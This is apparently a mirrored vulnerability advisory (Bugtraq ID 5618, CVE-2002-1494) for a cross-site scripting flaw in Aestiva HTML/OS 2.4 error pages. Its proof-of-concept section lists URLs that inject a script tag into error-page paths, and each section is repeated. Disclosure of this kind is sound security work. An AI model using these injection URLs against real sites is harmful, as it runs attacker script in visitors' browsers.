Aestiva HTML/OS Cross-Site Scripting Vulnerability
BID:5618
Info
Aestiva HTML/OS Cross-Site Scripting Vulnerability
| Bugtraq ID: | 5618 |
| Class: | Design Error |
| CVE: |
CVE-2002-1494 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 03 2002 12:00AM |
| Updated: | Jul 11 2009 03:56PM |
| Credit: | Reported by <[email protected]>. |
| Vulnerable: |
Aestiva HTML/OS 2.4 |
| Not Vulnerable: | |
Discussion
Aestiva HTML/OS Cross-Site Scripting Vulnerability
Aestiva HTML/OS is a database engine and development suite for building websites and web-based software products.
HTML/OS does not sufficiently sanitize metacharacters from error message output. In particular, attackers may inject HTML into error pages.
It is possible to create a malicious link to the server which will generate an error page with attacker-supplied HTML and script code when visited. Arbitrary HTML and script code will be executed by the web client of the user visiting the server, in the security context of the server.
Aestiva HTML/OS is a database engine and development suite for building websites and web-based software products.
HTML/OS does not sufficiently sanitize metacharacters from error message output. In particular, attackers may inject HTML into error pages.
It is possible to create a malicious link to the server which will generate an error page with attacker-supplied HTML and script code when visited. Arbitrary HTML and script code will be executed by the web client of the user visiting the server, in the security context of the server.
Exploit / POC
Aestiva HTML/OS Cross-Site Scripting Vulnerability
The following examples were submitted by <[email protected]>:
http://www.example.com/pages/htmlos/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.example.com/cgi-bin/erba/start/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E
The following examples were submitted by <[email protected]>:
http://www.example.com/pages/htmlos/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.example.com/cgi-bin/erba/start/%3Cscript%3Ealert(document.domain);%3C/script%3E
http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E
Solution / Fix
Aestiva HTML/OS Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.